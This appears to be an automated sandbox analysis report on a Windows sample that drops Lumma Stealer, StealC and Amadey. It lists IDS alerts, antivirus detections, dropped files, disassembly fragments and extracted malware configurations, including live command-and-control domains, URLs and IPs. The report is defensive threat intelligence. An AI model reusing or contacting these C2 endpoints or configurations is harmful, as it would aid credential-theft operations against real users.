2024-10-23T17:51:05.638147+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.6	58277	1.1.1.1	53	UDP
2024-10-23T17:51:44.955659+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.6	62596	1.1.1.1	53	UDP
2024-10-23T17:52:00.141932+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.6	56136	1.1.1.1	53	UDP
2024-10-23T17:52:34.199517+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.6	58411	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T17:51:05.615763+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.6	57946	1.1.1.1	53	UDP
2024-10-23T17:51:44.929572+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.6	55497	1.1.1.1	53	UDP
2024-10-23T17:52:00.109512+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.6	59013	1.1.1.1	53	UDP
2024-10-23T17:52:34.175175+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.6	55538	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T17:51:10.870853+0200	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49714	172.67.206.204	443	TCP
2024-10-23T17:52:43.689614+0200	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	50072	172.67.206.204	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T17:51:36.521186+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49847	185.215.113.37	80	TCP
2024-10-23T17:51:52.044908+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49933	185.215.113.37	80	TCP
2024-10-23T17:51:58.884909+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49974	185.215.113.37	80	TCP
2024-10-23T17:52:10.959972+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50033	185.215.113.37	80	TCP
2024-10-23T17:52:23.069561+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50041	185.215.113.37	80	TCP
2024-10-23T17:52:44.927111+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50074	185.215.113.37	80	TCP
2024-10-23T17:53:03.096350+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50111	185.215.113.37	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T17:51:36.294908+0200	2856147	1	A Network Trojan was detected	192.168.2.6	49848	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T17:51:43.951097+0200	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	49864	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T17:51:39.999146+0200	2803305	3	Unknown Traffic	192.168.2.6	49868	185.215.113.16	80	TCP
2024-10-23T17:51:45.904504+0200	2803305	3	Unknown Traffic	192.168.2.6	49900	185.215.113.16	80	TCP
2024-10-23T17:51:51.456408+0200	2803305	3	Unknown Traffic	192.168.2.6	49932	185.215.113.16	80	TCP
2024-10-23T17:51:56.456556+0200	2803305	3	Unknown Traffic	192.168.2.6	49961	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T17:51:16.487975+0200	2843864	1	A Network Trojan was detected	192.168.2.6	49740	172.67.206.204	443	TCP
2024-10-23T17:52:51.692406+0200	2843864	1	A Network Trojan was detected	192.168.2.6	50080	172.67.206.204	443	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T17:51:07.305012+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.6	49710	104.102.49.254	443	TCP
2024-10-23T17:51:46.848032+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.6	49901	104.102.49.254	443	TCP
2024-10-23T17:52:01.664366+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.6	49993	104.102.49.254	443	TCP
2024-10-23T17:52:35.830708+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.6	50058	104.102.49.254	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	Avira: detection malicious, Label: TR/AD.Stealc.bkskc
Source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe	Avira: detection malicious, Label: TR/AD.Stealc.bkskc
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000005.00000003.2411955466.0000000004930000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 32.2.7d61336cf8.exe.a20000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: aae25c676b.exe.2528.9.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["licendfilteo.site", "dissapoiznw.store", "mobbipenju.store", "eaglepawnoy.store", "clearancek.site", "studennotediw.store", "bathdoomgaz.store", "spirittunek.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	ReversingLabs: Detection: 44%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.6:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.6:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.6:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49901 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50032 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50056 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:50058 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50059 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50065 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.6:50067 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.6:50068 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.6:50070 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.6:50072 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.6:50075 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.6:50078 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.6:50080 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.6:50083 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50098 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50099 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50103 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50123 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50128 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50130 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50131 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: BF3BS0M5707K28RGW9.exe, 00000006.00000003.2417253737.0000000005010000.00000004.00001000.00020000.00000000.sdmp, BF3BS0M5707K28RGW9.exe, 00000006.00000002.2550539027.0000000000A32000.00000040.00000001.01000000.0000000B.sdmp

Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00FCDBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	12_2_00FCDBBE
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00F9C2A2 FindFirstFileExW,	12_2_00F9C2A2
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00FD68EE FindFirstFileW,FindClose,	12_2_00FD68EE
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00FD698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	12_2_00FD698F
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00FCD076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	12_2_00FCD076
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00FCD3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	12_2_00FCD3A9
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00FD9642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	12_2_00FD9642
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00FD979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	12_2_00FD979D
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00FD9B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	12_2_00FD9B2B
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00FD5C97 FindFirstFileW,FindNextFileW,FindClose,	12_2_00FD5C97

Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	9_2_00E799D0
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 4x nop then mov eax, dword ptr [esp]	9_2_00E3D110
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 4x nop then mov eax, dword ptr [esp]	9_2_00E3D110
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	9_2_00E3FCA0
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 4x nop then mov eax, dword ptr [esi+20h]	9_2_00E46F91
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	9_2_00E349A0
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	9_2_00E4D961
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 62429966h	9_2_00E73920
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	9_2_00E442FC
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 4x nop then jmp eax	9_2_00E41ACD
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F3285E74h	9_2_00E74A40
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ebx]	9_2_00E35A50
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 4x nop then jmp eax	9_2_00E41A3C
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	9_2_00E43BE2
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	9_2_00E41BEE
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	9_2_00E79B60
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 4x nop then mov ebp, eax	9_2_00E3A300
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 4x nop then mov eax, dword ptr [esp]	9_2_00E79CE0
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], 9ECF05EBh	9_2_00E79CE0
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], C85F7986h	9_2_00E5CCD0
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 4x nop then mov eax, dword ptr [esp]	9_2_00E5CCD0
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C85F7986h	9_2_00E5CCD0
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	9_2_00E5C470
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 4x nop then mov word ptr [eax], cx	9_2_00E4D457
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 4x nop then mov dword ptr [esp], 00000000h	9_2_00E4B410
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 4x nop then movzx ebx, byte ptr [ecx+esi+25h]	9_2_00E38590
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	9_2_00E46536
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 4x nop then mov dword ptr [esp+1Ch], 5E46585Eh	9_2_00E5FD10
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	9_2_00E40EEC
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	9_2_00E36EA0
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 4x nop then movzx ecx, word ptr [ebp+00h]	9_2_00E3BEB0
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 4x nop then cmp byte ptr [ebx], 00000000h	9_2_00E46EBF
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	9_2_00E41E93
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 4x nop then mov eax, dword ptr [esi+20h]	9_2_00E46F91
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Code function: 4x nop then mov eax, dword ptr [esp]	9_2_00E75700

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 187MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.6:62888 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.6:57946 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.6:58277 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.6:62514 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.6:59432 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.6:54706 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.6:55373 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.6:50802 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49847 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:49848 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.6:51663 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.6:59965 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.6:62762 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.6:58137 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.6:58587 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:49864
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.6:62596 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.6:55497 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.6:52894 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49894 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49933 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49926 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49955 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.6:52776 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.6:64986 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.6:64161 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.6:49662 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.6:59013 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.6:53812 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49987 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.6:60416 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49974 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.6:56136 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.6:60918 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50033 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.6:58560 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.6:62882 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.6:55538 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50041 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.6:58411 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50074 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.6:65037 -> 1.1.1.1:53
